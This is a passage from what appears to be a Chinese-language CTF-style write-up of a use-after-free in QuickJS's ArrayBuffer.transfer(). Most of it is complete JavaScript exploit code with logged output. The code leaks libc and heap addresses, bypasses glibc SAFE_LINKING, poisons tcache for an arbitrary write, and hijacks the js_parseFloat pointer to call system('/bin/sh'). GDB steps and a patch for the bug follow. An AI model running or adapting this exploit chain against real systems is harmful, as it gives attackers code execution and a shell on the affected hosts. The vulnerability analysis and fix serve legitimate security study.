// 读取tcache的next指针(经过SAFE_LINKING保护)
console.log("[Phase 3] Reading tcache metadata...");
const heap_xor = ta2[0];
console.log(" [+] Raw tcache next (XORed): " + tohex(heap_xor));
// SAFE_LINKING: next = (next_ptr >> 12) ^ heap_base
// 恢复真实堆地址
const heap_addr = heap_xor << 12n;
const heap_base = heap_addr - 0x9000n - 0x14000n;
console.log(" [+] Decoded heap address: " + tohex(heap_addr));
console.log(" [+] Calculated heap base: " + tohex(heap_base));
console.log();
// 计算目标写入地址
const target_offset = 0x3120n;
const target_addr = heap_base + target_offset;
console.log(" [+] Target write address: " + tohex(target_addr));
console.log(" (This is where we want to allocate a chunk)");
console.log();
// ================ 阶段4: Tcache投毒 ================
console.log("[Phase 4] Tcache poisoning attack...");
console.log();
// 创建更多相同大小的chunk来操作tcache链
const ab3 = new ArrayBuffer(0xa0);
const ta3 = new BigUint64Array(ab3);
const ab4 = new ArrayBuffer(0xa0);
const ta4 = new BigUint64Array(ab4);
console.log(" [+] Created ab3 and ab4 (size 0xa0)");
console.log();
// 释放它们进入tcache
let ab3_f = ab3.transfer();
let ta3_f = new BigUint64Array(ab3_f);
ab3_f = null;
ta3_f = null;
let ab4_f = ab4.transfer();
let ta4_f = new BigUint64Array(ab4_f);
ab4_f = null;
ta4_f = null;
console.log(" [+] Freed both chunks into tcache");
console.log(" [+] Tcache bin now has: ab4 -> ab3 -> ab2 -> ...");
console.log();
// 关键:通过UAF修改ab4的next指针
console.log("[Phase 5] Poisoning tcache next pointer...");
const poisoned_next = target_addr ^ (heap_xor + 0x00n);
ta4[0] = poisoned_next;
console.log(" [+] Original next: " + tohex(ta4[0]));
console.log(" [+] Poisoned next: " + tohex(poisoned_next));
console.log(" [+] After XOR decode, points to: " + tohex(target_addr));
console.log();
console.log(" [!] Tcache chain now: ab4 -> TARGET_ADDR -> ...");
console.log();
// ================ 阶段6: 分配到目标地址 ================
console.log("[Phase 6] Allocating chunk at controlled address...");
console.log();
// 第一次分配消耗ab4
const ab5 = new ArrayBuffer(0xa0);
const ta5 = new BigUint64Array(ab5);
console.log(" [+] Allocated ab5 (consumes ab4 from tcache)");
// 触发一个操作来稳定状态(可选,根据题目调整)
let dummy = ab2.resizable;
// 第二次分配会得到target_addr!
const ab6 = new ArrayBuffer(0xa0);
const ta6 = new BigUint64Array(ab6);
console.log(" [+] Allocated ab6");
console.log(" \x1b[1;32m[✓] ab6's backing store is at our target address!\x1b[0m");
console.log();
// ================ 阶段7: 验证写入能力 ================
console.log("[Phase 7] Verifying arbitrary write...");
console.log();
// 写入测试数据
const magic1 = 0xDEADBEEFCAFEBABEn;
const magic2 = 0x1337133713371337n;
console.log(" [*] Writing magic values...");
ta6[0] = magic1;
ta6[1] = magic2;
console.log(" [+] ta6[0] = " + tohex(magic1));
console.log(" [+] ta6[1] = " + tohex(magic2));
console.log();
// 读取验证
const read_back_0 = ta6[0];
const read_back_1 = ta6[1];
console.log(" [*] Reading back...");
console.log(" [+] ta6[0] = " + tohex(read_back_0));
console.log(" [+] ta6[1] = " + tohex(read_back_1));
console.log();
if (read_back_0 === magic1 && read_back_1 === magic2) {
console.log(" \x1b[1;32m[✓] Write and read back successful!\x1b[0m");
} else {
console.log(" \x1b[1;31m[✗] Values don't match!\x1b[0m");
}
console.log();
// ================ 阶段8: 构造复杂结构 ================
console.log("[Phase 8] Writing complex exploit structure...");
console.log();
const system_addr = libc_base + 0x58750n;
const binsh_str_addr = heap_base + 0x19c0n;
console.log(" [+] Computed addresses:");
console.log(" system() = " + tohex(system_addr));
console.log(" /bin/sh location = " + tohex(binsh_str_addr));
console.log();
// 初始化内存
console.log(" [*] Initializing memory region...");
for (let i = 0; i < ta6.length; i++) {
ta6[i] = 1n;
}
// 构造fake对象结构(用于后续RIP劫持)
console.log(" [*] Writing exploit payload...");
ta6[0] = binsh_str_addr; // 命令字符串指针
ta6[1] = 0x51n; // chunk size字段
ta6[2] = 0xc010000000002n; // 对象flags
ta6[3] = heap_base + 0x3178n; // 链表指针1
ta6[4] = heap_base + 0x3178n; // 链表指针2
ta6[6] = heap_base + 0x3178n; // 链表指针3
ta6[7] = heap_base + 0x3178n; // 链表指针4
ta6[8] = heap_base + 0x3178n; // 链表指针5
ta6[9] = system_addr; // 函数指针 <- 关键!
ta6[11] = 0x68732f6e69622fn; // "/bin/sh" 字符串内容
console.log(" [+] Payload structure:");
console.log(" [0x00] String pointer: " + tohex(ta6[0]));
console.log(" [0x08] Chunk size: " + tohex(ta6[1]));
console.log(" [0x10] Flags: " + tohex(ta6[2]));
console.log(" ...");
console.log(" [0x48] Function ptr: " + tohex(ta6[9]) + " <- system()");
console.log(" ...");
console.log(" [0x58] String content: " + tohex(ta6[11]) + " <- '/bin/sh'");
console.log();
// ================ 总结 ================
console.log("=".repeat(70));
console.log("[Summary] Arbitrary Write Capability:");
console.log("=".repeat(70));
console.log(" ✓ Leaked libc base address");
console.log(" ✓ Leaked heap base address via SAFE_LINKING");
console.log(" ✓ Poisoned tcache next pointer via UAF");
console.log(" ✓ Allocated chunk at arbitrary address");
console.log(" ✓ Successfully wrote controlled data");
console.log(" ✓ Constructed exploit payload for RIP hijack");
console.log();
console.log("\x1b[1;32m[+] Arbitrary write primitive fully functional!\x1b[0m");
console.log("[+] Ready for control flow hijacking");
console.log();
console.log("=".repeat(70));
关键技术点解析:
-
SAFE_LINKING绕过:
ini存储的next指针 = (真实next地址 >> 12) ^ (heap_base >> 12) 已知存储值heap_xor,恢复过程: heap_addr = heap_xor << 12 heap_base ≈ heap_addr - 偏移量 投毒时: poisoned = target_addr ^ (heap_xor + adjustment) -
Tcache链操作:
rust初始状态: tcache -> ab4 -> ab3 -> ab2 -> ... 修改ab4->next = target_addr: 状态变化: tcache -> ab4 -> target_addr -> ??? 第一次malloc: 返回ab4,tcache -> target_addr -> ??? 第二次malloc: 返回target_addr,我们控制的地址! -
内存布局:目标地址选择heap_base+0x3120,这里存储着QuickJS的关键数据结构,包括函数指针表
完整利用链构造
理解了读写原语后,我们来构造完整的exploit。
利用策略
整个利用链的思路是:
scss
1. UAF触发
↓
2. 泄露libc地址 (通过unsorted bin)
↓
3. 泄露heap地址 (通过tcache SAFE_LINKING)
↓
4. Tcache投毒指向目标地址
↓
5. 分配到目标地址,获得任意写
↓
6. 覆写函数指针为system()
↓
7. 构造RDI指向"/bin/sh"
↓
8. 触发函数调用
↓
9. getshell!
目标选择:js_parseFloat函数指针
在QuickJS中,许多内置函数的指针存储在堆上的函数表中。通过分析,我们选择js_parseFloat作为劫持目标,原因:
- 位置固定:存储在heap_base+固定偏移处
- 容易触发 :调用
parseFloat()即可 - 参数可控:调用时RDI指向我们可控的字符串
函数调用约定
在x86-64 System V ABI中:
- RDI:第一个参数
- RSI:第二个参数
- RDX:第三个参数
- ...
当我们劫持js_parseFloat为system后,调用parseFloat(xxx)时,RDI会指向参数字符串的地址。如果我们能让RDI指向"/bin/sh",就能执行system("/bin/sh")。
最终Exploit
javascript
function tohex(v) {
return "0x" + v.toString(16).padStart(16, "0");
}
vlog = (x) => console.log(tohex(x));
const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);
const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);
const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);
let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);
ab1_f = null;
ta1_f = null;
libc_addr = ta1[0] - 0x203b20n;
fstderr = libc_addr + 0x2044e0n;
system = libc_addr + 0x58750n;
const ab2 = new ArrayBuffer(0xa0);
const ta2 = new BigUint64Array(ab2);
let ab2_f = ab2.transfer();
let ta2_f = new BigUint64Array(ab2_f);
ab2_f = null;
ta2_f = null;
heap_xor = ta2[0];
heap_addr = ta2[0] << 12n;
heap_base = heap_addr - 0x9000n - 0x14000n;
map_addr = heap_base + 0x3120n;
const ab3 = new ArrayBuffer(0xa0);
const ta3 = new BigUint64Array(ab3);
const ab4 = new ArrayBuffer(0xa0);
const ta4 = new BigUint64Array(ab4);
let ab3_f = ab3.transfer();
let ta3_f = new BigUint64Array(ab3_f);
let ab4_f = ab4.transfer();
let ta4_f = new BigUint64Array(ab4_f);
ab3_f = null;
ta3_f = null;
ab4_f = null;
ta4_f = null;
ta4[0] = map_addr ^ (heap_xor + 0x00n);
const ab5 = new ArrayBuffer(0xa0);
const ta5 = new BigUint64Array(ab5);
let tmp = ab2.resizable;
const ab6 = new ArrayBuffer(0xa0);
const ta6 = new BigUint64Array(ab6);
for (let i = 0; i < ta6.length; i++) {
ta6[i] = 1n;
}
ta6[0] = heap_base + 0x19c0n;
ta6[1] = 0x51n;
ta6[2] = 0xc010000000002n;
ta6[3] = heap_base + 0x3178n;
ta6[4] = heap_base + 0x3178n;
ta6[6] = heap_base + 0x3178n;
ta6[7] = heap_base + 0x3178n;
ta6[8] = heap_base + 0x3178n;
ta6[9] = system;
ta6[11] = 0x68732f6e69622fn;
let num = parseFloat(5.20);
Exploit执行流程图
makefile
JavaScript层:
parseFloat(1.1)
↓
QuickJS内部:
查找js_parseFloat函数指针
↓
从map_addr + 0x48位置加载函数指针
↓
⚠️ 我们已经覆盖为system()地址
↓
准备函数调用:
RDI = 参数指针 (指向我们控制的内存)
↓
⚠️ RDI指向heap_base + 0x19c0 = "/bin/sh"
↓
call [劫持的函数指针]
↓
实际执行:
system("/bin/sh")
↓
🎉 获得shell!
内存布局详解
在利用链的最后阶段,目标地址map_addr的内存布局如下:
ini
heap_base + 0x3120 (map_addr):
┌────────────────────┬─────────────────────────────────┐
│ Offset │ Value │ Purpose │
├────────────────────┼─────────────────────────────────┤
│ +0x00 │ binsh_loc │ 指向"/bin/sh"字符串 │
│ +0x08 │ 0x51 │ Fake chunk size │
│ +0x10 │ flags │ Object flags │
│ +0x18 │ list_ptr │ Linked list pointer (稳定性) │
│ +0x20 │ list_ptr │ Linked list pointer │
│ +0x28 │ padding │ │
│ +0x30 │ list_ptr │ Linked list pointer │
│ +0x38 │ list_ptr │ Linked list pointer │
│ +0x40 │ list_ptr │ Linked list pointer │
│ +0x48 │ system() │ ★ js_parseFloat函数指针 ★ │
│ +0x50 │ padding │ │
│ +0x58 │ "/bin/sh" │ ★ 命令字符串 ★ │
│ +0x60 │ ... │ │
└────────────────────┴─────────────────────────────────┘
调用parseFloat时的寄存器状态:
RIP = system()地址
RDI = heap_base + 0x19c0 (指向"/bin/sh")
RSI = ... (不重要)
RDX = ... (不重要)
调试技巧与常见问题
在实际利用过程中,可能遇到以下问题:
问题1:堆布局不稳定
现象:有时候泄露的地址不正确,或者tcache投毒失败
原因:QuickJS的内存分配行为受到很多因素影响:
- 脚本中的变量数量
- 注释的长度
- 字符串字面量的数量
解决方案:
javascript
// 调整这些参数来稳定堆布局
const tmp1 = new ArrayBuffer(0x800); // 可能需要调整大小
const tmp5 = new ArrayBuffer(0x800);
// 添加更多临时对象
const stabilizer1 = new ArrayBuffer(0x10);
const stabilizer2 = new ArrayBuffer(0x10);
问题2:偏移量不匹配
现象:计算出的libc_base或heap_base看起来不对
原因:不同的libc版本和环境有不同的偏移
解决方案:使用GDB确定正确的偏移
bash
gdb ./bin/qjs
(gdb) b js_array_buffer_transfer
(gdb) run exploit.js
# 在泄露后断点
(gdb) vmmap
# 找到libc和heap的真实地址
(gdb) p/x leaked_value
(gdb) p/x libc_base
# 计算差值得到正确偏移
问题3:程序崩溃
现象:在写入payload后程序crash
原因:破坏了关键的内存结构
解决方案:
javascript
// 在写入关键数据前,先用安全值初始化
for (let i = 0; i < ta6.length; i++) {
ta6[i] = 1n; // 或者其他安全值
}
// 然后只覆盖必要的字段
ta6[9] = system; // 只改函数指针
GDB调试实战
设置断点
bash
gdb ./bin/qjs
(gdb) set args exploit.js
# 在关键函数下断点
(gdb) b js_array_buffer_transfer
(gdb) b *0xa659b # detached标志设置处
(gdb) b js_parseFloat
(gdb) b system
(gdb) run
检查ArrayBuffer状态
gdb
# 在transfer()入口
(gdb) print *(JSArrayBuffer*)$r8
$1 = {
byte_length = 256,
max_byte_length = -1,
detached = 0, # 未detach
shared = 0,
data = 0x555556789000,
array_list = {
next = 0x55555678a000,
prev = 0x55555678a000
},
opaque = 0x0,
free_func = 0x555555567890 <js_array_buffer_free>
}
# 继续到detached设置后
(gdb) ni
...
(gdb) print *(JSArrayBuffer*)$r8
$2 = {
byte_length = 0, # ✅ 已清零
detached = 1, # ✅ 已标记
data = 0x0, # ✅ 已清空
array_list = { # ❌ 链表还在
next = 0x55555678a000,
prev = 0x55555678a000
},
...
}
检查TypedArray状态
gdb
# 找到array_list中的第一个TypedArray
(gdb) set $ta = (JSTypedArray*)($r8->array_list.next)
(gdb) print *$ta
$3 = {
link = {next = ..., prev = ...},
obj = 0x55555678b000,
buffer = 0x55555678c000,
offset = 0,
length = 64 # ❌ 应该是0!
}
# 查看对应的JSObject
(gdb) print $ta->obj->u.typed_array
$4 = {
length = 64, # ❌ 应该是0!
data = 0x555556789000 # ❌ 应该是NULL!
}
# 这就是UAF的证据!
验证Tcache投毒
gdb
# 在投毒后
(gdb) x/4gx $heap_addr
0x555556789000: 0x0000555556789100 # next指针(XORed)
0x555556789008: 0x0000000000000000
0x555556789010: 0x0000000000000000
0x555556789018: 0x0000000000000000
# 检查投毒后的next
(gdb) print/x *(uint64_t*)$heap_addr
$5 = 0x3120 ^ 0x555556789 # 指向map_addr!
验证函数指针劫持
gdb
# 检查map_addr内存
(gdb) x/20gx $map_addr
0x555556789120: 0x00005555567891c0 # binsh location
0x555556789128: 0x0000000000000051 # size
0x555556789130: 0x000c010000000002 # flags
...
0x555556789168: 0x00007ffff7e58750 # system() ← 劫持!
...
0x555556789178: 0x0068732f6e69622f # "/bin/sh"
# 在parseFloat调用前
(gdb) b *js_parseFloat_caller
(gdb) c
(gdb) print/x $rip
(gdb) print/x $rdi
$6 = 0x5555567891c0 # 指向"/bin/sh" ✅
# 单步进入
(gdb) si
# 应该进入system而不是js_parseFloat!
漏洞修复
正确的修复方案
c
JSValue js_array_buffer_transfer(...) {
// ... 前面代码不变 ...
if (new_len) {
// ... 数据转移代码 ...
DETACH_AND_RETURN:
// ✅ 方案1: 调用现有的正确实现
JS_DetachArrayBuffer(ctx, this_val);
return js_array_buffer_constructor3(...);
/* ✅ 方案2: 手动实现完整detach逻辑
// 遍历所有TypedArray视图
struct list_head *el, *el1;
list_for_each_safe(el, el1, &v13->array_list) {
JSTypedArray *ta = list_entry(el, JSTypedArray, link);
JSObject *view = ta->obj;
// 更新每个视图的状态
if (view->class_id != JS_CLASS_DATAVIEW) {
view->u.typed_array.length = 0;
view->u.typed_array.data = NULL;
}
}
// 最后才标记buffer为detached
v13->detached = 1;
v13->data = 0;
v13->byte_length = 0;
return js_array_buffer_constructor3(...);
*/
}
// new_len == 0的情况已经正确处理了
else {
JS_DetachArrayBuffer(ctx, this_val);
return js_array_buffer_constructor3(...);
}
}
修复效果验证
修复后,运行PoC应该得到:
vbnet
[Phase 4] Testing UAF: Reading from detached TypedArray...
[*] Attempting to read ta1[0] (should fail but won't)...
TypeError: ArrayBuffer is detached
at <anonymous>:1:18
[✓] NO UAF DETECTED (Expected secure behavior)
总结
漏洞本质
这个漏洞的核心是状态同步不完整:
- ArrayBuffer对象被正确标记为detached
- 但TypedArray视图的状态没有同步更新
- 导致TypedArray持有指向已释放内存的悬空指针
- 形成典型的Use-After-Free漏洞
利用链回顾
完整的利用链包括:
scss
[1] UAF触发
↓ (transfer()不更新TypedArray)
[2] Unsorted bin泄露libc
↓ (大块释放进unsorted bin保留fd/bk指针)
[3] Tcache泄露heap
↓ (SAFE_LINKING XOR可逆)
[4] Tcache投毒
↓ (UAF写next指针)
[5] 任意地址分配
↓ (tcache返回我们控制的地址)
[6] 任意写入
↓ (覆写函数指针)
[7] RIP劫持
↓ (parseFloat() → system())
[8] Getshell!
关键技术点
- UAF成因分析:对比正确实现(resize/detach)理解问题根源
- SAFE_LINKING绕过:理解glibc 2.32+的指针保护机制
- Tcache投毒:经典堆利用技术的应用
- 函数指针劫持:选择合适的目标和触发方式
- 参数控制:利用调用约定控制RDI指向"/bin/sh"